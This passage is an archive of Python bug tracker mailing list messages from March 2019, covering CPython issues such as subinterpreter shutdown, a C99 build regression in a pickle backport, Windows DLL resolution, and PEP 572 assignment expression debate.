The solution would be to finalize all subinterpreters at the beginning of Py_FinalizeEx(), right before the call to wait_for_thread_shutdown().  This means calling Py_EndInterpreter() for all the runtime's interpreters (except the main one).  It would also mean setting a flag (_PyRuntime.interpreters.finalizing?) right before that to disallow creation of any more subinterptreters.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36225>
_______________________________________

From report at bugs.python.org  Fri Mar 29 17:07:25 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 29 Mar 2019 21:07:25 +0000
Subject: [issue36225] Lingering subinterpreters should be implicitly cleared
 on shutdown
In-Reply-To: <1551964663.69.0.686712846789.issue36225@roundup.psfhosted.org>
Message-ID: <1553893645.25.0.476903186578.issue36225@roundup.psfhosted.org>


Eric Snow <ericsnowcurrently at gmail.com> added the comment:

test__xxsubinterpreters is a great place for tests that exercise use of subinterpreters, including most lifecycle operations.  There are also one or two subinterpreter-related tests in test_embed.  However, for this issue the interplay with runtime finalization means tests should probably stay with other tests that exercise Py_FinalizeEx().

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36225>
_______________________________________

From report at bugs.python.org  Fri Mar 29 17:09:52 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 29 Mar 2019 21:09:52 +0000
Subject: [issue36097] Use only public C-API in _xxsubinterpreters module.
In-Reply-To: <1550965738.11.0.154386205273.issue36097@roundup.psfhosted.org>
Message-ID: <1553893792.14.0.90065512112.issue36097@roundup.psfhosted.org>


Change by Eric Snow <ericsnowcurrently at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36097>
_______________________________________

From report at bugs.python.org  Fri Mar 29 17:20:17 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 29 Mar 2019 21:20:17 +0000
Subject: [issue36157] Document PyInterpreterState_Main().
In-Reply-To: <1551458200.72.0.727788487318.issue36157@roundup.psfhosted.org>
Message-ID: <1553894417.91.0.053095949943.issue36157@roundup.psfhosted.org>


Eric Snow <ericsnowcurrently at gmail.com> added the comment:

As I noted on the PR, this might be a good chance to make sure the C-API docs are clear about what the "main" interpreter is.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36157>
_______________________________________

From report at bugs.python.org  Fri Mar 29 17:24:56 2019
From: report at bugs.python.org (Anthony Sottile)
Date: Fri, 29 Mar 2019 21:24:56 +0000
Subject: [issue36478] backport of pickle fixes to Python 3.5.7 uses C99 for
 loops
Message-ID: <1553894696.91.0.352723977034.issue36478@roundup.psfhosted.org>


New submission from Anthony Sottile <asottile at umich.edu>:

While building python 3.5.7 for https://github.com/deadsnakes

../Modules/_pickle.c: In function 'PyMemoTable_Copy':
../Modules/_pickle.c:677:5: error: 'for' loop initial declarations are only allowed in C99 mode
     for (size_t i = 0; i < self->mt_allocated; i++) {
     ^
../Modules/_pickle.c:677:5: note: use option -std=c99 or -std=gnu99 to compile your code
../Modules/_pickle.c: In function '_pickle_PicklerMemoProxy_copy_impl':
../Modules/_pickle.c:4207:5: error: 'for' loop initial declarations are only allowed in C99 mode
     for (size_t i = 0; i < memo->mt_allocated; ++i) {
     ^
../Modules/_pickle.c: In function 'Unpickler_set_memo':
../Modules/_pickle.c:6794:9: error: 'for' loop initial declarations are only allowed in C99 mode
         for (size_t i = 0; i < new_memo_size; i++) {
         ^
../Modules/_pickle.c:6842:9: error: 'for' loop initial declarations are only allowed in C99 mode
         for (size_t i = new_memo_size - 1; i != SIZE_MAX; i--) {
         ^
make[1]: *** [Modules/_pickle.o] Error 1


This cherry-pick caused the regression: https://github.com/python/cpython/commit/ef33dd6036aafbd3f06c1d56e2b1a81dae3da63c

----------
components: Build
messages: 339152
nosy: Anthony Sottile
priority: normal
severity: normal
status: open
title: backport of pickle fixes to Python 3.5.7 uses C99 for loops
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36478>
_______________________________________

From report at bugs.python.org  Fri Mar 29 17:26:09 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 29 Mar 2019 21:26:09 +0000
Subject: [issue36427] Document that PyEval_RestoreThread and PyGILState_Ensure
 can terminate the calling thread
In-Reply-To: <1553552075.96.0.382616254369.issue36427@roundup.psfhosted.org>
Message-ID: <1553894769.12.0.372954256913.issue36427@roundup.psfhosted.org>


Eric Snow <ericsnowcurrently at gmail.com> added the comment:

Related:

* #36475: "PyEval_AcquireLock() and PyEval_AcquireThread() do not handle runtime finalization properly."
* #36476: "Runtime finalization assumes all other threads have exited."

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36427>
_______________________________________

From report at bugs.python.org  Fri Mar 29 17:30:35 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 29 Mar 2019 21:30:35 +0000
Subject: [issue36427] Document that PyEval_RestoreThread and PyGILState_Ensure
 can terminate the calling thread
In-Reply-To: <1553552184.84.0.0177944422106.issue36427@roundup.psfhosted.org>
Message-ID: <CALFfu7DWjbmVSx_TeUAj8H7Tjn7CGn26=47bPD6qy6-sAVGH-w@mail.gmail.com>


Eric Snow <ericsnowcurrently at gmail.com> added the comment:

> > if (_Py_IsFinalizing() && !_Py_CURRENTLY_FINALIZING(tstate))
>
> _Py_IsFinalizing() check is redundant :-)

Not really:

* _Py_IsFinalizing() checks if the runtime is finalizing
* _Py_CURRENTLY_FINALIZING checks if the current thread is the one
running finalization

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36427>
_______________________________________

From report at bugs.python.org  Fri Mar 29 17:31:18 2019
From: report at bugs.python.org (Anthony Sottile)
Date: Fri, 29 Mar 2019 21:31:18 +0000
Subject: [issue36478] backport of pickle fixes to Python 3.5.7 uses C99 for
 loops
In-Reply-To: <1553894696.91.0.352723977034.issue36478@roundup.psfhosted.org>
Message-ID: <1553895078.85.0.16866108167.issue36478@roundup.psfhosted.org>


Change by Anthony Sottile <asottile at umich.edu>:


----------
keywords: +patch
pull_requests: +12556
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36478>
_______________________________________

From report at bugs.python.org  Fri Mar 29 17:59:02 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 29 Mar 2019 21:59:02 +0000
Subject: [issue36479] Exit threads when interpreter is finalizing rather than
 runtime.
Message-ID: <1553896742.19.0.478613119545.issue36479@roundup.psfhosted.org>


New submission from Eric Snow <ericsnowcurrently at gmail.com>:

Currently when a thread acquires the GIL, it subsequently exits if the runtime is finalizing.  This helps with some cases like with stopping daemon threads.

This behavior should instead be triggered by the thread's interpreter finalizing rather than the runtime.  This implies the following changes:

* in Py_EndInterpreter() move "interp-finalizing = 1;" to right after the call to "wait_for_thread_shutdown()"
* in Py_FinalizeEx() add "interp-finalizing = 1;" right after the call to "wait_for_thread_shutdown()"
* update _PyEval_EvalFrameDefault() (the eval loop) to check "interp->finalizing" instead of the runtime
* likewise update PyEval_RestoreThread() (as well as PyEval_AcquireThread() and PyEval_AcquireLock(); see #36475)

The check will actually need to change from this:

  if (_Py_IsFinalizing() && !_Py_CURRENTLY_FINALIZING(tstate)) {

to look like this:

  if (interp->finalizing && !_Py_CURRENTLY_FINALIZING(tstate)) {

If we could guarantee that only the main thread will ever call Py_FinalizeEx() then it would look more like this:

  if (interp->finalizing && tstate.id != _PyRuntime.main_thread {

----------
components: Interpreter Core
messages: 339155
nosy: eric.snow
priority: normal
severity: normal
stage: needs patch
status: open
title: Exit threads when interpreter is finalizing rather than runtime.
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36479>
_______________________________________

From report at bugs.python.org  Fri Mar 29 18:01:16 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 29 Mar 2019 22:01:16 +0000
Subject: [issue36427] Document that PyEval_RestoreThread and PyGILState_Ensure
 can terminate the calling thread
In-Reply-To: <1553552075.96.0.382616254369.issue36427@roundup.psfhosted.org>
Message-ID: <1553896876.04.0.00156239342002.issue36427@roundup.psfhosted.org>


Eric Snow <ericsnowcurrently at gmail.com> added the comment:

> Currently PyEval_RestoreThread and its callers (mainly PyGILState_Ensure)
> can terminate the thread if the interpreter is finalizing:

s/interpreter/runtime/

Most likely (guaranteed?) it will be in the main interpreter, but it is actually not triggered by interpreter finalization (though it probably should be; I've opened #36479).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36427>
_______________________________________

From report at bugs.python.org  Fri Mar 29 18:03:27 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 29 Mar 2019 22:03:27 +0000
Subject: [issue33356] Windows 10 buildbot:
 test__xxsubinterpreters.test_already_running() fails randomly
In-Reply-To: <1524666400.61.0.682650639539.issue33356@psf.upfronthosting.co.za>
Message-ID: <1553897007.01.0.0748835714054.issue33356@roundup.psfhosted.org>


Eric Snow <ericsnowcurrently at gmail.com> added the comment:

I'll take a look when I get a chance.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33356>
_______________________________________

From report at bugs.python.org  Fri Mar 29 18:42:26 2019
From: report at bugs.python.org (Steve Dower)
Date: Fri, 29 Mar 2019 22:42:26 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1553899346.89.0.871564088815.issue36085@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

So symlinking didn't work (Python is too clever for that these days ;) ), but straight copying the exe and required DLLs is fine.

It puts python.exe, python38.dll and vcruntime140.dll (properly discovered of course) into a temp directory, puts _sqlite3.pyd into a subdirectory and only allows imports from that directory and the pure stdlib (for encodings). Then we test with add_dll_directory(), then copy sqlite3.dll in and test again without.

Assuming tests all pass, I consider this complete now.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Fri Mar 29 18:45:15 2019
From: report at bugs.python.org (Steven D'Aprano)
Date: Fri, 29 Mar 2019 22:45:15 +0000
Subject: [issue35224] PEP 572: Assignment Expressions
In-Reply-To: <1553872740.4.0.216721787424.issue35224@roundup.psfhosted.org>
Message-ID: <20190329224508.GS31406@ando.pearwood.info>


Steven D'Aprano <steve+python at pearwood.info> added the comment:

You are one person, who has used this feature for what, a month elapsed 
time? 300 person-hours actual experience with it? Allowing top-level 
unparenthisized walrus expressions will affect hundreds of thousands of 
people, for collectively millions of hours over a decade or more of 
elapsed time. What's the rush about lifting this restriction?

If the restriction turns out to be "pointless", then we can remove it 
later, and no harm done. You say this is ugly in the notebooks:

    (variable := expression)

but it is surely still an improvement over the status quo:

    variable = expression; variable

But if we remove it now, and it turns out that it wasn't as pointless as 
you thought, then we're stuck with a design mistake that will be very 
hard to fix without breaking people's code.

I'm glad you've found an excellent use-case for unbracketed assignment 
expressions, and I don't oppose your suggested change, I'm just 
advocating caution.

Besides, Jypiter already allows interactive code that would be a syntax 
error outside of their environment. They can probably relax that 
restriction within Jypiter, while still leaving the language alone.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35224>
_______________________________________

From report at bugs.python.org  Fri Mar 29 19:04:30 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 29 Mar 2019 23:04:30 +0000
Subject: [issue35224] PEP 572: Assignment Expressions
In-Reply-To: <1542070337.94.0.788709270274.issue35224@psf.upfronthosting.co.za>
Message-ID: <1553900670.91.0.575458794392.issue35224@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

The bug tracker is not the appropriate place to discuss a PEP. This issue is about the implementation of the PEP.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35224>
_______________________________________

From report at bugs.python.org  Fri Mar 29 19:30:12 2019
From: report at bugs.python.org (Steve Dower)
Date: Fri, 29 Mar 2019 23:30:12 +0000
Subject: [issue35947] Update libffi_msvc to current version of libffi
In-Reply-To: <1549665646.45.0.12391127948.issue35947@roundup.psfhosted.org>
Message-ID: <1553902212.72.0.0375433143288.issue35947@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:


New changeset 32119e10b792ad7ee4e5f951a2d89ddbaf111cc5 by Steve Dower (Paul Monson) in branch 'master':
bpo-35947: Update Windows to the current version of libffi (GH-11797)
https://github.com/python/cpython/commit/32119e10b792ad7ee4e5f951a2d89ddbaf111cc5


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35947>
_______________________________________

From report at bugs.python.org  Fri Mar 29 19:36:08 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 29 Mar 2019 23:36:08 +0000
Subject: [issue35224] PEP 572: Assignment Expressions
In-Reply-To: <1542070337.94.0.788709270274.issue35224@psf.upfronthosting.co.za>
Message-ID: <1553902568.7.0.308837732516.issue35224@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
nosy:  -vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35224>
_______________________________________

From report at bugs.python.org  Fri Mar 29 19:37:18 2019
From: report at bugs.python.org (Steve Dower)
Date: Fri, 29 Mar 2019 23:37:18 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1553902638.97.0.906064212139.issue36085@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:


New changeset 2438cdf0e932a341c7613bf4323d06b91ae9f1f1 by Steve Dower in branch 'master':
bpo-36085: Enable better DLL resolution on Windows (GH-12302)
https://github.com/python/cpython/commit/2438cdf0e932a341c7613bf4323d06b91ae9f1f1


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Fri Mar 29 19:39:00 2019
From: report at bugs.python.org (Steve Dower)
Date: Fri, 29 Mar 2019 23:39:00 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1553902740.66.0.0696348114128.issue36085@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

Leaving this in commit review for a couple of days, then I'll close.

----------
stage: patch review -> commit review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Fri Mar 29 20:14:47 2019
From: report at bugs.python.org (78)
Date: Sat, 30 Mar 2019 00:14:47 +0000
Subject: [issue36480] .strip() unexpected output on Windows
Message-ID: <1553904887.35.0.429598620868.issue36480@roundup.psfhosted.org>


New submission from 78 <78alphadeviant at gmail.com>:

Using .strip() on windows leads to the first and last character of a word being deleted.

Magenta.zip becomes agenta.zi

----------
components: Windows
messages: 339164
nosy: 78Alpha, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: .strip() unexpected output on Windows
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36480>
_______________________________________

From report at bugs.python.org  Fri Mar 29 20:51:57 2019
From: report at bugs.python.org (Eric V. Smith)
Date: Sat, 30 Mar 2019 00:51:57 +0000
Subject: [issue36480] .strip() unexpected output on Windows
In-Reply-To: <1553904887.35.0.429598620868.issue36480@roundup.psfhosted.org>
Message-ID: <1553907117.67.0.00902522254388.issue36480@roundup.psfhosted.org>


Eric V. Smith <eric at trueblade.com> added the comment:

Please provide the exact code to duplicate the problem.

I suspect this is a problem with your code, not with str.strip and not with Windows.

----------
nosy: +eric.smith
status: open -> pending

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36480>
_______________________________________

From report at bugs.python.org  Fri Mar 29 22:11:13 2019
From: report at bugs.python.org (=?utf-8?b?R8O2a2hhbiDDlnp0w7xyaw==?=)
Date: Sat, 30 Mar 2019 02:11:13 +0000
Subject: [issue36481] telnetlib process_rawq() callback
Message-ID: <1553911873.53.0.089397149063.issue36481@roundup.psfhosted.org>


New submission from G?khan ?zt?rk <gokhan at eg-ozturk.com>:

telnetlib.Telnet class requires a callback so that the raw data that comes from socket can be processed first.

This will be useful for the compressed incoming data. Most of the MUD servers have MCCP V2 (byte: 86) protocol that send compressed data. But as for now. the only option is to create new class that inherits telnetlib.Telnet and override process_rawq()

----------
components: IO
messages: 339166
nosy: G?khan ?zt?rk
priority: normal
severity: normal
status: open
title: telnetlib process_rawq() callback
type: enhancement
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36481>
_______________________________________

From report at bugs.python.org  Fri Mar 29 22:14:55 2019
From: report at bugs.python.org (STINNER Victor)
Date: Sat, 30 Mar 2019 02:14:55 +0000
Subject: [issue34160] ElementTree not preserving attribute order
In-Reply-To: <1532047327.92.0.56676864532.issue34160@psf.upfronthosting.co.za>
Message-ID: <1553912095.37.0.73504290393.issue34160@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

I set the priority to release blocker to make sure that the issue got enough attention. Raymond started a thread on python-dev, so I reset the priority:
https://mail.python.org/pipermail/python-dev/2019-March/156709.html

Moreover, the change is now documented in "What's New in Python 3.8?" documentation ("Changes in the Python API" section):
https://github.com/python/cpython/commit/06e1e688228013f411aca6309562ef80df6ce5d3

----------
priority: release blocker -> 

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34160>
_______________________________________

From report at bugs.python.org  Fri Mar 29 22:15:17 2019
From: report at bugs.python.org (STINNER Victor)
Date: Sat, 30 Mar 2019 02:15:17 +0000
Subject: [issue34160] ElementTree not preserving attribute order
In-Reply-To: <1532047327.92.0.56676864532.issue34160@psf.upfronthosting.co.za>
Message-ID: <1553912117.59.0.399411097351.issue34160@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
nosy:  -vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34160>
_______________________________________

From report at bugs.python.org  Fri Mar 29 22:18:35 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sat, 30 Mar 2019 02:18:35 +0000
Subject: [issue36478] backport of pickle fixes to Python 3.5.7 uses C99 for
 loops
In-Reply-To: <1553894696.91.0.352723977034.issue36478@roundup.psfhosted.org>
Message-ID: <1553912315.03.0.545283785731.issue36478@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +larry, vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36478>
_______________________________________

From report at bugs.python.org  Fri Mar 29 22:43:45 2019
From: report at bugs.python.org (Ma Lin)
Date: Sat, 30 Mar 2019 02:43:45 +0000
Subject: [issue36482] let struct's internal cache use FIFO policy
Message-ID: <1553913825.65.0.170439395409.issue36482@roundup.psfhosted.org>


New submission from Ma Lin <malincns at 163.com>:

Currently, when the cache is full, the entire cache is cleared.
This patch let it use FIFO policy.

Inada Naoki, Raymond Hettinger, could you review this patch? Thanks.
No hurry, just do it when you have time.

----------
components: Library (Lib)
messages: 339168
nosy: Ma Lin, inada.naoki, rhettinger
priority: normal
severity: normal
status: open
title: let struct's internal cache use FIFO policy
type: behavior
versions: Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36482>
_______________________________________

From report at bugs.python.org  Fri Mar 29 22:43:58 2019
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 30 Mar 2019 02:43:58 +0000
Subject: [issue36481] telnetlib process_rawq() callback
In-Reply-To: <1553911873.53.0.089397149063.issue36481@roundup.psfhosted.org>
Message-ID: <1553913838.09.0.812501518818.issue36481@roundup.psfhosted.org>


Change by Roundup Robot <devnull at psf.upfronthosting.co.za>:


----------
keywords: +patch
pull_requests: +12557
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36481>
_______________________________________

From report at bugs.python.org  Fri Mar 29 22:46:11 2019
From: report at bugs.python.org (Ma Lin)
Date: Sat, 30 Mar 2019 02:46:11 +0000
Subject: [issue36482] let struct's internal cache use FIFO policy
In-Reply-To: <1553913825.65.0.170439395409.issue36482@roundup.psfhosted.org>
Message-ID: <1553913971.53.0.708008033234.issue36482@roundup.psfhosted.org>


Change by Ma Lin <malincns at 163.com>:


----------
keywords: +patch
pull_requests: +12558
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36482>
_______________________________________

From report at bugs.python.org  Fri Mar 29 23:11:56 2019
From: report at bugs.python.org (Ma Lin)
Date: Sat, 30 Mar 2019 03:11:56 +0000
Subject: [issue36482] let struct's internal cache use FIFO policy
In-Reply-To: <1553913825.65.0.170439395409.issue36482@roundup.psfhosted.org>
Message-ID: <1553915516.75.0.507272934236.issue36482@roundup.psfhosted.org>


Ma Lin <malincns at 163.com> added the comment:

FYI, re module's cache is using FIFO policy:

https://github.com/python/cpython/blob/v3.8.0a3/Lib/re.py#L288-L293

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36482>
_______________________________________

From report at bugs.python.org  Sat Mar 30 00:34:49 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 30 Mar 2019 04:34:49 +0000
Subject: [issue36467] IDLE to help with invisible characters
In-Reply-To: <1553844531.48.0.961433807157.issue36467@roundup.psfhosted.org>
Message-ID: <1553920489.27.0.672956118236.issue36467@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

With respect to Shell, this is a request that IDLE move further away from strictly imitating Python running in a dumb terminal and better help users with intelligent action and information.  I want both to improve editing and make entry of a statement  in Shell more or less the same as as entering one in the Editor. 

Goal for this issue: make specific error visible and allow specific correction without retyping the complete line.  When?  see below.

First, what invisible characters are an issue? Do you mean truly no-space invisible or displayed as spaces?  For the moment, I assume the issue is ascii control chars.

On Windows, some can be entered directly with KeyPress-Alt, up to 3 keypad digits, KeyRelease-Alt.  But there are various interactions with interpretations as DOS graphics characters (alt-1 = light smiley face, alt-01 = \x01 displayed as box), old keyboard codes (alt-3 = HOME key), and IDLE bindings (alt-2 = dark smiley face + IDLE zoomheight, alt-02 = \x02 displayed as space + zoomheight, maybe twice).  (I checked that zoomheight return 'break'.)  A mess.

Once a control char is entered into tk text, which is most easily done with an escapes within a string, some appear as half-width boxes, which interact a bit badly with fixed-width ascii; some appear as spaces, the subject of this issue; and a few otherwise (I think at least one on one OS is no-space invisible, which would also be the subject of this issue).  By experiment, details depend on the OS.

Realistic test case: 'for iin [1]: pass'.  The char before 'in' is \x02, displayed by tk Text on Windows as ' '.  Perhaps the user only meant to zoom or unzoom the window and was not aware of the difference between the regular 2-@ key and numpad 2.

When this code is submitted and the symtax error detected, the control char gets a red background.  In the editor, the cursor is placed after the error char after the SyntexError box is dismissed.  An experienced user should know to delete the 'space' and enter a real space, but still would not understand the error or how it got there.

In Shell, one currently has to retrieve the statement as the new prompt and move the cursor to the false space.  Before implementing the fix below, I would like to change Shell so one can edit syntax errors in-place, just as in the editor.  IDLE compiles code for syntax checking before submitting the code object to be exec-ed.  There is no need to freeze the code, display a traceback, and display a new prompt.

Possible improvement 1: check a marked chars or scan the entire reported error line for control chars other than newline and tab in a string and replace any found with red-background '\xnn' escapes.

At present, I would prefer to reserve bulk scanning for bulk text entry via pasting or file reading.  For interactive entry ...

Possible improvement 2: IDLE already checks each character typed to see whether it is a '.' in code, '/' or (on Windows) r'\\' in string, or '\n' anywhere.  (And it also checks syntax coloring.)  Add a check for controls chars and immediately replace with red escape (or whatever else we decide on).  Leave the cursor immediately after the error.  Put an error message either on the status bar or in a non-modal popup similar to a calltip.

I already want to get rid of the SyntaxError box and replace it with a display of just the error message, as above, without the boilerplate around it.

Neither check will catch problemmatic non-ascii chars displayed as no-space or a space. This set likely depends on the font and OS and you did not specify this an an issue.  IDLE cannot see what is on the screen.
  
In any case, worrying about non-ascii should be a followup to an initial patch.  If we do, we can selectively include problematic visible chars, such as smart quotes.

----------
nosy: +cheryl.sabella
stage:  -> test needed
type:  -> enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36467>
_______________________________________

From report at bugs.python.org  Sat Mar 30 00:56:11 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 30 Mar 2019 04:56:11 +0000
Subject: [issue36411] Python 3 f.tell() gets out of sync with file pointer in
 binary append+read mode
In-Reply-To: <1553387625.02.0.693122073587.issue36411@roundup.psfhosted.org>
Message-ID: <1553921771.52.0.0799154340056.issue36411@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

'Python 3.9' does not exist yet.  This choice is for patches that should only be applied to 3.9 when available (like future deprecations or removals).

----------
nosy: +terry.reedy
versions:  -Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36411>
_______________________________________

From report at bugs.python.org  Sat Mar 30 01:09:47 2019
From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=)
Date: Sat, 30 Mar 2019 05:09:47 +0000
Subject: [issue35224] PEP 572: Assignment Expressions
In-Reply-To: <1542070337.94.0.788709270274.issue35224@psf.upfronthosting.co.za>
Message-ID: <1553922587.37.0.224401269727.issue35224@roundup.psfhosted.org>


Vedran ?a?i? <vedgar at gmail.com> added the comment:

Carol, if you're willing to go into the lion's den that is Python-ideas with this, you have my eternal gratitude. :-)

Steven, sorry, there really is no rush. I really don't think I ever said there is. However, I think it would be much easier to change the behavior while the thing is in alpha. Isn't that the purpose of alpha? 

(If I'm wrong here, please disregard. I would be fine to see this happening few years from now. I believe in "Python in the limit", not actual versions, but too many times I have been said "what you ask makes sense in the ideal world, but that ship has sailed long ago".)

Yes, of course (name := expression) is an improvement over what we have now, and I'm grateful for that. It's just that when I explain it to my students (" = is just assignment, := is for assignment and displaying"), I have no good reason to tell them why they must put the parentheses---except "Python is too worried you will make a mistake", and that just doesn't seem like something Python usually does. (That's something Java would do to people.:)

Yes, Jupyter sometimes does allow things that would otherwise be SyntaxErrors (though much less than they used to, since Python gave them a lot of headache by introducing decorators---if you remember that story;), and going to Jupyter was the next thing on my mind after I'm rejected here. I just thought it would be much easier to just allow this "at the source", so Jupyter people don't have to think "what if they finally allow toplevel walruses, but with different semantics (e.g., printing result even if it is None)?".

Carol and Victor, I'm sorry I have usurped a bugtracker issue for this discussion. First, I really thought this is about implementation of assignment expressions, and this is the best place to put it. Second, I didn't expect a discussion---I thought it would be either "that makes no sense, go away" or "yeah, good idea, we'll do it". For the next such issue (there will probably be one:), do you suggest that the more appropriate thing would be to open a new issue?

(Let me just reiterate that I'm not going to python-ideas. You probably can't understand how stressful that place is, but believe me, it is. I'm not the only one that thinks so. If that's the only sanctioned method to improve Python, even when it is about details, then I'll just withdraw from the game.)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35224>
_______________________________________

From report at bugs.python.org  Sat Mar 30 01:10:00 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 30 Mar 2019 05:10:00 +0000
Subject: [issue36426] exec() issue when used inside function
In-Reply-To: <1553535065.81.0.184329137426.issue36426@roundup.psfhosted.org>
Message-ID: <1553922600.47.0.996216142981.issue36426@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

This is not a bug; the behavior is covered in the docs.  I am surprised that this works in 2.7, as it has the same warning as 3.7:
"
locals()
    Update and return a dictionary representing the current local symbol table. Free variables are returned by locals() when it is called in function blocks, but not in class blocks.
Note The contents of this dictionary should not be modified; changes may not affect the values of local and free variables used by the interpreter."

----------
nosy: +terry.reedy
type: behavior -> enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36426>
_______________________________________

From report at bugs.python.org  Sat Mar 30 01:15:48 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 30 Mar 2019 05:15:48 +0000
Subject: [issue36438] Python 3.5.7 import error on Cross compile
In-Reply-To: <1553608524.58.0.377430259995.issue36438@roundup.psfhosted.org>
Message-ID: <1553922948.6.0.905832843118.issue36438@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

Python 3.5 and 3.6 only get security fixes.  Please test on 3.7 or even better 3.8.  Your questions should be directed to python-list.

----------
nosy: +terry.reedy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36438>
_______________________________________

From report at bugs.python.org  Sat Mar 30 01:32:11 2019
From: report at bugs.python.org (Inada Naoki)
Date: Sat, 30 Mar 2019 05:32:11 +0000
Subject: [issue17110] sys.argv docs should explaining how to handle encoding
 issues
In-Reply-To: <1359864071.69.0.659089821533.issue17110@psf.upfronthosting.co.za>
Message-ID: <1553923931.02.0.893244422371.issue17110@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:


New changeset 38f4e468d4b55551e135c67337c18ae142193ba8 by Inada Naoki in branch 'master':
bpo-17110: doc: add note how to get bytes from sys.argv (GH-12602)
https://github.com/python/cpython/commit/38f4e468d4b55551e135c67337c18ae142193ba8


----------
nosy: +inada.naoki

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue17110>
_______________________________________

From report at bugs.python.org  Sat Mar 30 01:32:36 2019
From: report at bugs.python.org (miss-islington)
Date: Sat, 30 Mar 2019 05:32:36 +0000
Subject: [issue17110] sys.argv docs should explaining how to handle encoding
 issues
In-Reply-To: <1359864071.69.0.659089821533.issue17110@psf.upfronthosting.co.za>
Message-ID: <1553923956.97.0.710429399733.issue17110@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


